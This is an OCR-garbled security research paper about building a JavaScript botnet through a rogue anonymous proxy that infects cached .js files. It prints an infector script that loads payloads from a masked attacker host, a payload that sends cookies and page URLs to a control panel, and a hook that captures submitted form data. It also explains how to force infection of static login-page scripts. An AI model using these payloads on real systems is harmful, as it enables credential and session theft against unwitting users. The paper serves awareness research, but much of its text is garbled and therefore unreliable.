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Abstract: A Man i n

connection or an Anomgous Proxy Server implies acceptingfiama n

t ditacks mre cbchinom and dangerous. Usif®R

in t he

mi d dscheman our Internet Connection. In this paper we describe how easily
a JavaScript Botnet can be constructed and what are the risks. Moreover, we
describe, with samples, what kind of people are using this kind of services.

Botnets

Building a botnet is an ida that everyoneworking in
security has thought abowt. The idea of having a control
panel that allows you to manage thehaviour of thousands
of machnes is tempted € However, this process is
definitively a step to the side of cybercrime, and must be
very careful not tao.

Despite this, the proof of concept | will relate in this article
has to do with this idea, to make a botnet, but with a
complete different philosoph¥irst, onour proof of concept
work thatis doneis completely passivet meansthere isno
intentionto control the live®f anyone, but to study the risks
of certain services that have become too papuwuch as

i An o ny mosiesssandAOR networks.

All this work is intended to alert of the risks to which may
be incurredby the mere fact of followingone of themany
tutorial available orinternetaboutanonymity That said, |
will tell you the process we follogd to make a botnet to
control what they do and how they dtha bad guys of
Internet.

Man In The Middle

Before desdbing the architecture is nezsy to review the
conceptan donf the MMdled t echmitheue s
networking field ManintheM ddl eo attacks
and effective.Typical cases in IPv4 networks witARP
Spoofing techniques or dgue DHCP, in IPv6networks

with ICMP Spoofingattacksor SLAAC, or other cases such

as DNS Poisaing are widely used in schemes to steal
credentials

"Man in the middle" scheme in networks, spread with the
cybercrime world to "Man In The BrowserFor a long
time, "the Rusian school" wadeating thosesystems with
Internet Explorer 6 by usingthe famousBrowser Helper
Objects(BHO) - Active X components, just like a browser
toolbar took control about everything going on in the
browser in order to replaceand inject HTML code in
websites of financial institutions and steal login credentials.

This scheme of business was ex&thdo mobile devices,
whereitisk nown as AMan | n
control economic tram&tionsof many banks was necessary
to stealthe bank confirmation SMS.

Man in the Tab

Even moresubtleare the techniques 6Man in theTab" or
"JavaScripin the middle! also known agache poisoning
browser.In these cases, the attackires not control entire
browser, but its only area ofask is the content oé tab, that
is, it has managed to put maliciousdeoon the user tab,
allowing theyto do all the things that can be domigh code
on a welpageloaded in a web browser

These attacks areommonly used irXSS schemeswhere
the attaker injects code that runsin the browser tab.
Another common wayis to own legitimate web serversto
put a JavaScriptcode, which is responsible foedirecting
visitors to a web server wherethe exploting kits were
deployed This is ®mething verycomnon in distributionof
malwareoperations

@.‘ Trojan:JS/Redirector.GA (?)

Encyclopedia entry
Published: Sep 30, 2010

Aliases
Not available

Alert Level (?)
Severe

Antimalware protection details
Microsoft recommends that you download the latest definitions to get protected.

Detection initially created:
Definition: 1.91.891.0
Released: Sep 30, 2010

Figure 1: Trojan JS/Redirector.GA

But there are evermalware whose operationis based
entirely on that, a file cachedin web browserto load
malicious JavaScripton a regular basisn the tabs tget
their exeations. Thus malware as Trojan horse JS /
Redirector.GA[1] took careto put theGoogle Analytics
JavaScriptfile, widely usedon many web sitesas this
trojanblog, loading a malicious payload from a server
controlled

ordereo Mo b
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Once inside

In an environmenthat hasbeeninfected with aJavaScript
file loadedin the pagethe many thingghatcanbe done are
morethan enough t@lease thettacker. Firstfo be within

the domainallows Javascprit code taccess all theookies
that are notaggedas HTTPOnly, and evenothers ifthe

conditionsare presenfor TRACE attack[2], or make an
Error 400attackin Apaché3] or loading a Applet] or... Of

course, it is possible to make Clickjacking at@ékishing

to steal data that has been typedinterceptforms, to load

codefrom remote servergtcetera.

In order togenerateattacks inthese environmenthere are
advanced solutionsuch asBeEF (Explotation Browser
Framework]5] that containsa good amount gpayloadsto
use in case you gdte malicious.js file.

eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Figure 2: BeEF Project
How to make a botnet with this idea

Moving from an environmentthat specifically infects a
JavaScripffile, we decidedthat the bestvay to create the
botnetwould beif bots did "motu proprio”, it meansnot a
forcedman in the middlgbut choserby themselvedderely

we decided tdocus on theTOR networkandProxy servers
used on the Internet

For its implementation, we assemble naaching which
woul d Maninthe i ddl eod, and
nodeand as a\nonymous Poxy Server, and in both cases
was operating for a whileHowever we must say that with
TOR node, we suffereddetection ofmaliciousactivity that
makes thabur IP address was ighored

Your DNS provider has given "192.168.1.101" as an answer for 11 different invalid addresses, Apparently they are hijacking DNS
Your DNS provider tried to redirect "www.yahoo.com’ to a junk address. It has done this with 3 test addresses so far. I'm going
Vour DNS provider gave an answer for *Ippwspkk.invalid”, which is not supposed to exist. Apparently they are hijacking DNS f:
Your DNS provider has given "192.168.1 101" as an answer for 11 different invalid addresses. Apparently they are hijacking DNS

Figure 3: DNS test log ifTOR

Security systems in TOR etworks launch periodic and
more or lessandomtess, in which the answers are known
beforehandand if they are handled or manipulaiedsome
way, then the node loses confidence and it is blodkeaiur
case we "tweak" the answer tgertain domain nagsand
stopped sendingaffic through oumode.Good for therh

However, with proxy servers on theternet the things were
di fferenté

Architecture of the solution: Infection of JavaScript

To achievethe goal of beingable to infect clientswith

malicious JavaScripfiles should ideallynot add a new file,
but to modify JavaScriptfiles that pass throughthe

Malicious Roxy serverby adding somecode to loada

payloadeach time botexecutethis code ina browser tab
That is,usinga schemasimilar tothe following image:

e

GET /HTTP/1.1
Host: www.web.com

—

GET /HTTP/1.1
Host: www.web.com

—
 rr———

Response

Response

Home.html Home.html o™
AaAPracrH E . &
GET /a.jspHTTP/1.1 IGET /a.jsp HTTP/1.1 > ]
Host: www.web.com Host: www.web.com |
—_—
— Response

Response

a.jsp a.Jsp + pasarela.js

include http://evil/payload.js

GET /payload.js HTTP/1.1
Host: evil

Figure 4: Malicious Proxyarchitecture

This meas that the architecture doewdify the codeof all

JavaScriptfiles that @sses through th@roxy server to
dynamically load the payloads to be sdttavith a control
panel as BeEF

Setting the proxy server: SQUID
To getJavaScripfiles rewritten the steps were

1) Download the file from its original location.

2) Save it to a temporary location.

3) Add theJavaScriptinfection code at the end of the
JavaScripfile.

4) Make thaffile has an expiration date of 3,000 days.
5) Deliver to the clients the neweated JavaScript file

In order to perform all these steps, the first thing to do is
select theserver option URL_Rewrite_Prograofi SQUID,

which lets you runa program taewrite thefiles that match
a certain conditionln this casethe rule appliego all files
and used &erl prograntalledpoison.pl

Figure 5: squid.confile with activatedurl_rewrite_program

The file poison.plperforns stepsl to 5 (with the excepin

of step 4)of the process described abov® do this,first

check that thedile nameends in .jswith a smallregular
expressionOncethe file ismetJavaScriptthe program will
downloadit from itsoriginal location,copy it toa temporary
location, changeits permissionsto write it and dumps the
contents offile infection which in ourexample is called
pasarela.js

Figure 6: poison.pl modulinfects JavaScript files



The last step is modify the expiration date of disgects It

requiresinstaling fimod_expireé moduleinto Apache, and
to make a little change in the file .htaccess at location from
which will serve all the JavaScript infected files.

Figure 7:.htaccesdile oftemporary folder
The infection

Finally, note thatall thatis ne@ssary to infectlavaScript
files, is something calledpasarela.jsand all it doesis
loadng the poisonedpayload.phgrom malicious serveand
reporttheir identityloadingan image wittjsonip.php.
function payload()
{ x = document.getElementByld("poisonpayload”):;
if (x == null)
{
document.write( " <script>function getip(json) {
document.write ('<script type=\\\"application/javascript\\\"
s:c=\\\"h:tp://—/pa:el/po‘.sc: payload.php?id=\"'+
json.ip + \'\\\"></scr\'+\'ipt>'):
}:;</script>
=)z
document.write ("<script id='poisonpayload' type='application/javascript'
src='http: //_/panel/:so:‘.:.p.p':p?callback=get1p '></script>");

payload():;

Figure 8: pasarela.jdile that is cojed in all theJavaScript files

In the code can be viewedhetheran element has been
created or notThe goal isto not runthe code of the
pasarela.jsnore han orce per page

And nhowt get someondecome infectedvith this
Malicious Proxy?

Distributing the Proxy server inInternet

To get thefbad guys do use of our Mlicious Proxyserver,

the idea wasvery simple: We reqisteredt on one list of

proxy serversFor a longtime, and inmany sites antllogs

it is recommendedthe use of proxy serversto get
anmymousIP addresswhichis common formany of us to
do, and | have toinclude myself.We selecteda site at

random andve register thelP addresswith port 31337,to

attracta little more attention.

SV SOKR WK G B AR W T o B+
more than just proxy [35 Proxysolutions GET YOLR PROXY ™efiise

Home | Premium Proxy Proxy List UK proxy US proxy Web Proxies Xorum User: Anonymous
Favourite By country By port Addnew Remove FAQ RSS feed DB dump [RUEEENIGHE ! 1

Add an Open Proxy to the Database.

You are more than welcome to add your proxies in our
ase!

Your submission will be verified to check whether or not
your proxies are open for public use, and only hosts
which are current open HTTP proxies will be added to
our database.

VMware Capacity Planning sww vy
Model Available VM Capacity S Capacity \[anagcr
Free 30-Day Trial

The check process is not immediate - it may take hours
before your proxy is listed in the Y 2

Our site is not an online proxy checker. You will receive
no feedback as to whether or not proxies in your
submittion are valid HTTP proxies.

However submitting quality proxylists you can get an B AdChoices [>
elite user status which gives you special level access to
our database and Xorum.

Figure 9: Proxy serves service

These siteswith lists of Proxy serversperform security
testingto thenewProxy Srvers butthe test ar@otasgood
asthose madén the TOR networkin fact, the real problem
is not theplace wherghe proxy servers registereddo the

testsor not,butonce it geton the list,there are hundreds of
sites and applications thare downloadingthese lists
withoutany verificationof safety.

Simply pasgshe firsttest, whichfrom what we sawvas test
of connection andfunctionality, andthe 'Magic of the

I nt ewilhneakedourlP addressppears othousands of
sites,such asvhat happened witbur IP address

iEtps oy

Busqueda | |
w

i 1.htm - Traducir esta pagina

Imagenes 1 ’(voxy proxy lists, xorum forums, and web proxy senice - Paid Proxy ...
can ﬁnd Who\s Information for the following IP address:

Maps

Videos - Slmgle Proxy List - IP Info

s eproxylist.com - Traducir esta pagina
Noticias Proxy -54 31337. Hostname QD startdedicated.com. Added: 02/12/12
Shopping (m/d/y) Status: Offline Country: Germany City: ? Last online: Fri Feb 24 .

Figure 10:Rogue Proxy IRppeared in thousarsdof sites
Expansion of the botnet

Oncethere waghe mass distribution dhe IP addresghe
rest of the workwas waiting to seehow many bad guys"
began tabe infected bylavaScriptode To see that, it was
implementeda small panein PHP 1 that was hacked by
Spanish hackers latejust afterwe showit in our talk in
RootedCON[6]. Don’t trust on Spanish hacketsWhich
accounted forthe bots thahadeverrequestegayloadsand
those whahadrequested thenm the last 2ours.

The numbeiof computers thatvere infectedvere so higtat
the beginning that knock down ourpanel,so we had to
optimize somequeries,and be mich moreselectivein the
connectionsand the data to be captureso as not to
overwhelmour smallserver withmanydata.

Figure 11:Map of active bots byauntries

Hereyou can see howhe panel reacheshe of themoments
about 5,00ots withnearly1,0000f them activan the last
hour. As you can sedo make an analysis dhe origins of
connection Russia, Braziland Indonesia wer¢he most
activewhenusing these serviceBiterestinglymatch source
of muchmalware.



Making payloads

Once wehad enteredthe pasarela.jg the browser.. What
could be dondrom there?The volumeof ideas thatyou
may occur ishuge.From makingDDOS attacks until make
defacement othe sites visitedoy the bot, phishing attack#o
steallogin credentialof special sitesor stealcookies from
thesession.

As we had nantention of doing anythingvrong with this,

and our goal was talo an experiment tgsee what kind of
things were donghrough thelnternetProxy serversonly

started aouple ofpayloads

1) Identification of bot, and theft ofcookiesthat were
notHTTP Only and its URL.
2) Theftof data senby loadedHTTP forms.

Identifying bot and URL of connection

We left out of the payloadsthe HTTPs connectionsand
HTTPOnly cookies because we had nactualreal target
and because itwas sufficientas sample to obtain that
information.

Thus,the firstpayloadidentificationonly did this

document .
src="http://X.X.X.X/panel/
domaingrabber.php?id=0.0.0.0
&domain="+document.domai+" &location="
+document.location+"& cookie="+document.cookie+
style="display: none;" />");

Allowing us toknow whichURL was connectingindif he
had anyunsafesession cookieT his informationallowsus to
find things very juicy and discover a newnternetfull of
URLsthat we had notisited before.

Grabbig data from the forms

To getdata filed fromforms, a small script was generated

which hook submit eventsof the forms,with this simple
JavaScriptode.

function kLogStart ()
{
var forms = parent.document.getElementsByTagName ("form");
for (i = 0 ; i < forms.length; i++)
{
forms([i].addEventListener ('submit', function() {
var cadena = "";
var forms = parent.document.getElementsByTagName ("form");

for (x = 0 ; x < forms.length; X++)
{
var elements = forms[x].elements;
for (e = 0 ; e < elements.lengt!
{

e++)

cadena += elements[e].name + "$3d" + elements[e].value + "|";

attachForm(cadena) ;
, false);

Figure 12: Script to hook submits fisldf the forms

And the restwas to discoverwhat is donethrough an
AnonymousProxy Serveron the Internet ..What did we
foundthere?

Who uses thdnternet Proxy server?
The main reason® useanInternetProxy Serverare usually

two. The first of tleseis obviously hiding the sourcelP
addressof the connection.Such users are seekingwill

write(fA<img id="dom

certainly notleave the IP address the initial connectiorio
alog file thatcan pointdirectly to them.The second reason
is oftento jumpavoid access restrimns onthe network
connection i.e. userswho want to bypassany security
restrictionin any organizationin order to connecto sites
notallowed by thenetwork administrator.

With this type ofbasemotives the type of users of our
Proxy Server was the most colourful, leaving a good
collection ofdata that is worthyo studydeeply. Between
the most strikingwe found the following

Scam artists: TheNigerian scammer

One of the useref suchinternetProxy Servicesproved to
be amanthatallegedlywas sellingVisa Cardsfor working
at UK, with IP address fromndia. To do that he was
making an intense campaigmf spam with an e-mail
messageequestingpayment folesternUnion.

More Actions ¥

TION LAWYER'S BOARD OF DIRECTORS
WILL SEND APPLICATION LETTER TO ZONAL COORDINATORS
WYER'S BOARD OF DIRECTOR
YER'S BOARD OF DIRECTOR

MENT NOW SO WE WILL SEND YOUR WORK PERMIT CERT IMMEDIATELY FROM ]|
T T e e O oy

FROM BRITISH IMMIGRATION LAWYER'S BOARD OF DIRECTOR 10/08/11 1038 &
FROM BRITISH IMMIGRATION LAWYER'S BOARD OF DIRECTOR 09/22/11 1048

» o ROM BRITISH I T YER'S BOARD OF DIRECTOR 1028
> LAWYER'S BOARD OF DIRECTOR 101 k8

b S
Figure 13:Spamscamcampaigrandrequesimoney

10N LAWYER'S BOARD OF DIRECTOR 9/03/11 101 K8

Of course,some recifents of the messages werquite
scepticaland their responses wekery negative but we
could seenow some peoplpaidand sengll datato obtaina
Visathatwould never come

Picture 1328409

Picture 1327 jpg Applaiation form jpg

e SRR -

el T

Pictorejon )5 COMMENDATION 108
OFFER ACCEPTANCE SUPJPG

Figure 14: Victm sending all his documentation

Scam artists The horny chick you get off with tonight

Another type of scam artistswith whom we met are
dedicatedto keepingfake profilesof women indifferent
social networksof sentimental contactsin each the
location, nameand ageof womenweredifferent.

In fact the ame persotkept profiles with differenttypes of
women allowing it toopen the range afictims.



meeta

where singles meet

Hair color: Black

Eye color: Brown
eNaerr Religion: christian
.| Looking for: dating / a relationship Ethnicity: asia

X Interested in: men Occupation: baby sitter
rz Member since: 3 months ago Wants children? Depends on what partner
r Relationship status: Single wants

Figure 15: Rogueprofile number 1
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For reasons of spadeshow you onlya coupleof profiles of
all wefound that are maintained by tekame person.

/ F :
I-Iavelx lll‘lg Messages  Profile  Settings  Credits  Logout

Find your Kiwi Fling )

search: Age KENIES to EENES i+ TR ) scances soacn

Single 3saking males fac sexiqus relationships then marriage
Lives i§ Auckland, New Zealand

Recent Activities Last login 22 min ago

Age 3

Gender Female

Zodiac Sign Aries.

Self Introduction AM AVERY COOL HEADED AND EASY GOING LADY AND AM

CARING LOVING, OPEN MINDED, HONEST, PASSIONATE HARD
WORKING AND AM DOWN TO HEART PERSON AND | HATE
CHEATING OR LIES AND AM WHO | CALL MY SELF | LIKE COOKING
AND GETTING MY ENVIRONMENT CLEAN ALWAYS AND | LIKE GOING
SHOPPING CAMPING, SWIMMING, FISHING AND AM

. Languages Spoken English

Fig&ure 16: False profile number 2

In this case,ts business modetasvery similar Making a
working day this Germancrock, is dedicated tdinking
peopleandask formoneythrough Western Unioto pay for
the tripto wherethe victim livesand spend a ght of mad
wild, nastylove.

As had manychance encounterBe organisedconversations
and stores themSome are likethis, in which insistently

sought money in exchange forsome alleged "nicked"

(naked photos.In thechatyou can see thaas it shoulde

chatting withseveral at ongesometimest playsdirty tricks

andputs things irtheir native language.

fe best Day fo
3)):am ready tofly any time 5o far you are ready to have me with you my love
TC)):Year thats fine so | thing you can look for Wendsday
TC))When its no Problem for you
3))-okay that is good
TC).Baby Youh:

Add

TCT oW BBy e TE TeS
)] when did you think you willave chance to.go and send me the T00euro for the bocking 5o that  will ge everything reacy
TC)):The pictures are 50 tht | can see your all Pircings 727

3))i will send you my full information o that you can use it to send the money fio 0 me okay

TC)) yes Baby when You sen the Pic You can send me were | must Take the Mn

3))somy i dont understand you my love

TCU \hen You send The Picues o niohi Yo o

Figure 17 A chat logtalking toa victim

The number ofchats,and requests fomoneyby Western
Union did wasvery high making thissystema red work
night shift.

Thesetwo types ofscamsare among thenany we saw,
wherewe found thatit madeall kinds of scamssuch as
sales ofdogs fake vehicles, etcetera.A real amount of
businesswe did not knowpreviously Financial crisis what?

Worrie d about anonymity

Many of the usersvho cameto do somethingillegal’, the
first thing they did wascheck theilP addressvith websites
such as Whatismyip.com checking whetherthey are
anonymousor not or usingotherssimilar websites, buin
the end,apparently seennot only should checktheir IP
addresmg.

Hacked hackershacking

One of the issuethat caught ourattention asve hopedwas
to find many hackersisingWebShelithroughProxy Servers
to deface websites. Among them we have chosen this
defacement that we saw how it was madeeaitime.

el

(©) Hacked By SkyNet -

& C O wwwilllBcom w A

|
EA Esta pagina esta escrita en | turco v | ;Quieres trad.. | Traducir| | No| | Configuracién v
Sitede Bulunan B™*t*n Temalar %25 Indirim ile Satilmaktadir. Béyle Para Gozlere Inanmaymiz. 3 |

5 Kurusluk Temlara: Verdigi Fiyata Bakm Gelin Sizlere hakk: Neyse O Sekilde Verin ve Olusan 1
Her T Sorunda Hizmetinizdeyiz.
"

Tletisim Igin: By_BuRaK@Hotmail.De ’

Figurel8:Hac ker 6 s

When we look atvhy he hadbeen infectedwe realizedhat
he wasusing a infectedWebShellloadinga JavaScripfile

to report theURL of the WebShell This JavaScripfile was
also infectedby our Proxy Serverand allowsus todiscover
wherethe webshellwas

e

(©) SkyNet | Casus Shell

€ ¢ 0w oo (D RS
Za| Esta pagina esta escrita en | turco v | ;Quieres traducirla? | Traducir | | No Configuracién v
v com (77.223.430.22) PhoSpyVer 2010 *
Gikis | Ana Dizin | MYSOL Baotan | MySQL Yuide & Indir| Komut Calistir| PHP Bilaisi | Eval PHP Kod | Back Conned! Safe Mode Yes
Dosya Yoneticisi - Gecerli Disk Ucretsiz 91.95 G of 431.72 G (21.3%)

Bulundugun Dizin (Witadle, 0755) [momdipublic_htmi/gemonrendhaberiwp-includesicss/

Ana Dizin | Yazilabilir Goster | Dizin Olusturmat | Dosva Olustur

Seleconararcivo] No s¢ ha __archwo

Adi Son Degistiriime Boyut Chmod islem
= UstDigin
admin-baricss 2012:02-10002107 295K Indir| Kopyala | Duzenle | Yeni Ad | Zaman
dmin-bar- dev css 2012:02-100021:07 348K Indir| Kopyala | Duzenle | Yeni Ad | Zaman
agmin-barcss 201202-10002107  1067K Ingir| Kopyala | Duzenle | Yeni Ad | Zaman

™

(88 eements (o) Resources | (@) tetwork| Vg serpts (R rmetne (T rroties QL avats [ conscle a

Name
Headers | Preview Response Cookies Timing

: O .o ¢/ 1/ ecurity . 35

d: GET
s e: @404 Not Found
.| vRequestHeaders

2= a= 0 0|@

Figure 19: WebshelequestingheinfectedJavaScript

casus.php

Documents Stylesheets Images Scripts XHR Fonts WebSockets Other o &

So far,everythinghasbeenobtainedby passive observation
of navigation,but ... Could wemakean active infectionby
selecting tanfect websiteghat are not reachday browsing
via our Proxy ServeP The answers yes

Coming into the intranet

One ofthe things thataught ourattentionwhen reviewing
the collecteddatg was the possibilityf finding information
aboutmachineghat were nopublishedon the Internetthat
is, applications that arbeing usednternally onan Intranet
ascan be seethe following datan an internal ERP System

Figure 20: Data ofintranetweb application

def acement



Reasos to collect Intranet application datay a Javascript
botnetsuch asursare simple:

1) At any time this person configured our Proxy
Server and was infected.

2) At some point requested aJavaScriptfile on
Internet that was ao in useby the Intranet
application

This makesit clear thatuse remoteJavaScripffiles on an
Intranetmay not bedesirable an@dpens the doaio potential
attacksof this kind.

Seeing this we thought itwould be easy to prepara
targetedattack to any applicationin the Intranet or the
Internet analysingpreviously the JavaScriptfiles that are
loaded and forcingcustomers tdoad thesdfiles from any
domain,so the caching is forced

Analysing the JavaScript files of a web

To preparea targeed attackto a specific sitei.e. to ensure
that a user whois part of thebotnetis infectedwhen he
visits a particular site it must be knownwhat are the
JavaScripfiles that loadghat site.

To do this you can make usef network inspectionin
Goode Chromeor Firefox Firebug and select the one to
infect

€ > C O missions.cap.af.mil/login.cfim

7| @

United States Air Force Auxiliary
- CAP National Technology Center -
Mission Applications & Resources

Missions Security System Login

User ID or CAPID:

Password:

58] Etements g‘ Resources | @ Metwork | {j Scripts @Timehne » |Q

Hame Status
1 Met... | 70

. ize e :
Type a ‘ initiator | 2128, Latency Timeline

" aforms.is 304 login.cfm:39 2978

" field.js 304

124 3038
10.43KB

Q = (O] | Documen ts  Stylesheets Images Scripts XHR Fonts VebSockets D(her#
Figure 21: LoadedJavaScripffiles loaded in login website
Forexamplejn this siteit can be seethatin thelogin page
JavaScript fes are being loaded staticalthat is,it always
loads the same files allowing attackersto force a pre
cachingof all of them to allthe victimsthey wanto infect.

To do this, the control panelwould have apayload in
JavaScripto dosomething like:

document.write(<script
src=http://www.objetio.com/target.js >);

This file will be also infected, and the attacker could run any
payload in the future within the targeted domain, even if the
bot is disconnected form the Rogue Proxy Server.

Dynamic JavaScript files

Sites like Facebookload javascript files using names that
change dynamicallywhich prevents it fromcachingthe
JavaScript filgpreviously,sothis attack camotbe done

Figure 22 JavaScript files loaded iR a ¢ e Is togirk 6

However,the list of sites that usetatic JaaScriptfiles, in
login pages of banks institutions, companiestcetera,is
huge andit should not bea security vulnerabilityf users

are not infected, but it helps Javascript botnets to perform
targeted attacks

Previously cached JavaScript filesad HTTPs

One of thethings that wealid notimplemented in thigproof
of conceptwas toforce tocache thdanfectedfile if it was
alreadyin the browser cachéssumingthat a siteloadsa
JavaScriptfile that the browsethas already cached the
client will not requestthat file, so it would not become
infected.However,playing withHTTP Etagsoptionswould
be possibldgo force thebrowserto requesthe new filesbut
thiswasn’timplemented in thiproof of concept

Moreover, to avoid arousingthe slightest suspicion we
decidednot to interceptHTTPs communications leaving
out of reachany secure connectioand anycookie marked
with the ASecur® flag. Do not forget thathis was justa
POC.

Final recommendations

Both the TORnetworksand Proxy sysemsrepresenfi Ma n
i n the stMéembesin which you must trust to use
them. Puta malicious serveon Internetis too easyas to
think that thereis not beingmade in a massive wayby
peoplewith the worstof the intentionsof all, so if you use
anyof these facilitiesit is best toget ready tde attacked

No surfing with out datedsystemsfor these networks
firewalls and antimalwarealways in alertand remember
when you finish to use dhemshouldtake precautions for
disinfection.As recommendetly default,clear the cachéor
eachbrowser sessiorgnd always use therivate browsing
mode
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